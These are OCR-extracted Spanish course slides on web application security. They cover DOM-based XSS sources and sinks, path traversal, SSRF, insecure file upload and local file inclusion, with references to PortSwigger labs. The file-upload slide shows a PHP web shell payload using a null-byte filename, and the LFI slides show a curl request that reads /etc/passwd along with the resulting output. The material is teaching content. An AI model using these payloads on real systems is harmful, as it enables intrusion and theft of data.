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Sesiéon 4: DOM

(Médulo 3: Cliente)

'[Ires/ai/xss-spider-avenger.jpg}

Tinmarino
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Inyecciones DOM

® Definicion del DOM: El Modelo de Objetos del Documento (DOM) es la
representacion jerdrquica de los elementos de una péagina web en el

navegador.

® Manipulacion Insegura: La manipulacién del DOM con JavaScript es
esencial para el funcionamiento de los sitios web, pero puede introducir
vulnerabilidades si se manejan datos de forma insegura.
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DOM: Fuentes y sumideros

® Fuentes y Sumideros:

e Fuentes: Propiedades de JavaScript que aceptan datos controlados
por el atacante (ej. location.search, document.referrer,
document . cookie).

e Sumideros: Funciones o objetos del DOM que pueden causar efectos
indeseables si reciben datos inseguros (ej. eval (),
document .body . innerHTML).

® Flujo de Taint: Las vulnerabilidades basadas en el DOM surgen cuando los

datos de una fuente se pasan a un sumidero de manera insegura.
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DOM: Ejemplo

® Ejemplo de Vulnerabilidad: Un cédigo que redirige a un usuario a una
URL controlada por un atacante si se manipula el fragmento de la URL, lo
que puede facilitar ataques de phishing.

® Prevencion: Es crucial validar y sanitizar los datos de entrada antes de
pasarlos a funciones peligrosas para mitigar las vulnerabilidades basadas en
el DOM.
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DOM: Fuentes (sources)

document.URL document.cookie document.referrer
location window.name history.pushState
localStorage sessionStorage IndexedDB
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DOM: Sumideros (Sinks)

DOM-based vulnerability

DOM XSS (X5

Open redirection [FXEE)

Cookie manipulation
JavaScript injection
Document-domain manipulation

WebSocket-URL poisoning

Link manipulation

Web message manipulation

Example sink
document .write ()

window.location
document .cookie
eval ()
document . domain
WebSocket ()
element.src

postMessage ()

Avanzados
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DOM: Sumideros (Sinks)

Ajax request-header manipulation setRequestHeader ()

Local file-path manipulation FileReader.readAsText ()
Client-side SQL injection ExecuteSql ()

HTML5-storage manipulation sessionStorage.setItem()

Client-side XPath injection document .evaluate ()
Client-side JSON injection JSON.parse ()

DOM-data manipulation element .setAttribute ()

Denial of service RegExp ()
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Médulo 4: Avanzados
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Recorrido de rutas
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Recorrido de rutas: Impacto

1. C: Leer archivo arbitrario
2. |: Escribir archivo arbitrario
3. A: Remover archivo arbitrario

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N
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SSRF: Server-Side Request Forgery
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SSRF: Impacto

1. Encadenamiento: Pentest interno

2. Encadenamiento: Explotacién de otro blanco
3. Denegacion de servicio (ejemplo: Registro Civil)
4. Usurpacién de identidad en internet

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N
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Carga de archivos insegura

Server

POST /images HTTP/1.1

HTTP/1.1 200 OK

File uplo

HTTP/{1.1 200 OK

uid=0(root) gid=0{root) groups=0(root)

Tinmarino 98


https://portswigger.net/web-security/file-upload
https://www.tinmarino.com

Clasificacion Divulgacion Cliente
000000000000 00000O000000 0000000000000 0O00O0000 0000000000000 000O0O00O00O000000000

Carga de archivos insegura

1. POST /images -d ...
e ...filename="webshell.png\Oa.php ...
e <7php echo system($_GET['cmd']); 7>
2. GET /.../webshell.php?cmd=cat+/home/carlos/secret

PostSwigger Lab

CVSS 10 <= RCE

Tinmarino
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LFI: Local File Inclusion
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LF

curl http://[::1]:10005/LFI-1/index.php7page=/2Fetc’,2Fpasswd"

<?php # Include a user parameter
include($_GET["page"]);

# Or more probably

$fileContents = file get contents($_GET["filename"]);
echo $fileContents;

7>
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LFl: Familia

Acc Name

LFI  Local File Inclusion

RFI Remote File Inclusion

SST1  Server Side Template Injection
XXE XML External Entity Injection

Tinmarino 102


https://www.tinmarino.com

Clasificacion

Tinmarino

Divulgacion Cliente Avanzados

[e]e]e] lelele]e]
LFl: ¢Juguemos?

@ LFllabs X + ~
Show Hint
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nolog
games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:,
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/sy
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
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LFl: ¢Juguemos?
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</a>
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> T wrey <div id="paral® style="display:none; >
S[EEtent b meB ACH i/ i TR IHA A e not everything you need to play with is in a text field .
4 </div>
3 s earewd a <form actionst/LFL. 11 index,php" methd-FOST' z
e Y 2 <input type= File> §
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</form>
45 9
46 root:x: :/root: /bin/bash
47 daenon wsr/sbin: /usr/sbin/nologin v
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49 Sysia:3:3: s/ dev: usc/sbin/malogin H
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51 THTR/noTogTn “
52 S e e
53 +7:7:1p: /var/spool/lpd; /ust/sbin/nologin
54 i r/mail:/usr/sbin/nologin L4
55 var/spool/news: /usr/shin/nologin o
56 var/spool/uucp: /usr/sbin/nologin 4
57 /Jusr/sbin/nologin 2
58 var/ww: /usr/sbin/nologin &
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Server-side topics

commend starting with our sers

ed to understand v

Authentication Path traversal Command njection Business logic
vulnerabilties

Information Access control File upload Race conditions
disclosure vulnerabilities

Server-side request XXE injection NoSaL injection
forgery (SSRF)

Web cache
deception
o=
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Mas ataques web avanzados

B  ® Alweb Security Academ x  +
C 5= https://portswigger.net/web-security/all-topics B so% 20w
Client-side topics

c

Client-side vulnerabilities introduce an additional layer of complexity, which can make them slightly more
challenging. These materials and labs will help you build on the server-side skills you've already learned
and teach you how to identify and exploit some gnarly client-side vectors as well.

Cross-site scripting (XSS)

Cross-origin Clickjacking DOM-based
resource sharing vulnerabilities

Cross-site request
(CORS)

forgery (CSRF)

WebSockets
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Mas ataques web avanzados
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httpsy/fportswiggernet/web-security/alltopics B 0% %W W

These topics aren't necessarily more difficult to master but they generally require deeper understanding
and a wider breadth of knowledge. We recommend getting to grips with the basics before tackling these
labs, some of which are based on pioneering techniques discovered by our world-class research team

Insecure deserialization

might think. We'l
guide you through the process step-by-step so s n d testers may hay -
alto

Web LLM attacks GraphQL API Server-side template Web cache
vulnerabilities injection poisoning

HTTP Host header HTTP request OAuth JWT attacks
attacks smuggling authentication

Prototype pollution Essential skills

Tinmarino
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